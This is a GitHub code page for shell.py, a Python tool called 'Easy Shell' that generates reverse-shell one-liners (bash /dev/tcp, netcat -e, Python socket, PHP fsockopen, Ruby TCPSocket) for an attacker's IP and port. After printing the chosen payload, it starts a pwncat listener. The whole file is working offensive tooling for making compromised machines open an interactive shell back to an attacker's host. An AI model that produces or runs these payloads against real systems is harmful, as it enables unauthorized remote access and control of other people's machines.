-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathshell.py
More file actions
executable file
·176 lines (138 loc) · 4.29 KB
/
Copy pathshell.py
File metadata and controls
executable file
·176 lines (138 loc) · 4.29 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
#!/usr/bin/env python3
import netifaces
import os
import random
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("-H", "--host", help="your IP")
parser.add_argument("-p", "--port", help="your PORT")
parser.add_argument("-a", "--adapter", help="your adapter for auto IP")
args = parser.parse_args()
if args.adapter:
adapter = netifaces.ifaddresses(args.adapter)[netifaces.AF_INET][0]['addr']
else:
ip = netifaces.ifaddresses('eth0')[netifaces.AF_INET][0]['addr']
if args.host:
ip = args.host
if args.port:
port = args.port
else:
port_list = [
4444,
4200,
6969,
7777,
8675,
9110,
3456,
6789,
8181,
4545,
5656,
4745,
3985,
2580,
3099,
]
port = random.choice(port_list)
# Shell Variables
# Bash Shell
bash_shell = f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'"
bash = f"""
---------------------------------------------------------------
Bash Shell: {bash_shell}
---------------------------------------------------------------
"""
# Netcat Shell
nc_shell = f"nc -e /bin/sh {ip} {port}"
nc = f"""
--------------------------------------------
Netcat Shell: {nc_shell}
--------------------------------------------
"""
# Python Shell
python_shell = f"""
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
"""
python = f"""
-----------------------------------------------------------------------------------------------------------------------------------------
Python Shell: {python_shell}
-----------------------------------------------------------------------------------------------------------------------------------------
"""
# PHP Shell
php_shell = f"""
php -r '$sock=fsockopen("{ip}",{port});exec("/bin/sh -i <&3 >&3 2>&3");'
"""
php = f"""
----------------------------------------------------------------------------------------
PHP Shell: {php_shell}
----------------------------------------------------------------------------------------
"""
# Ruby Shell
ruby_shell = f"""
Sruby -rsocket -e'f=TCPSocket.open("{ip}",{port}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
"""
ruby = f"""
___________________________________________________________________________________________________________________________
Ruby Shell: {ruby_shell}
___________________________________________________________________________________________________________________________
"""
all_shells = bash + nc + python + php + ruby
# PwnCat Settings
# Default Listener
listen = f"rlwrap pwncat -vv -l {port}"
conf = f"LISTENER STARTED ON PORT: {port}"
menu = """
----------------
Easy Shell
----------------
Author: Binary
___________* Options *____________
----------------------------------
1) Automatic Bash Reverse Shell
2) Automatic Netcat Reverse Shell
3) Automatic Python Reverse Shell
4) Authomatic PHP Reverse Shell
5) Authomatic Ruby Reverse Shell
6) List All Reverse Shell's
----------------------------------
"""
def main():
os.system("clear")
print(menu)
selection = "0"
while selection == "0":
selection = input(" Select an Option: ")
if selection == "6":
os.system("clear")
print(all_shells)
print(conf)
os.system(listen)
elif selection == "5":
os.system("clear")
print(ruby)
print(conf)
os.system(listen)
elif selection == "4":
os.system("clear")
print(php)
print(conf)
os.system(listen)
elif selection == "3":
os.system("clear")
print(python)
print(conf)
os.system(listen)
elif selection == "2":
os.system("clear")
print(nc)
print(conf)
os.system(listen)
elif selection == "1":
os.system("clear")
print(bash)
print(conf)
os.system(listen)
else:
print("Invalid Selection, Please Try Again.")
main()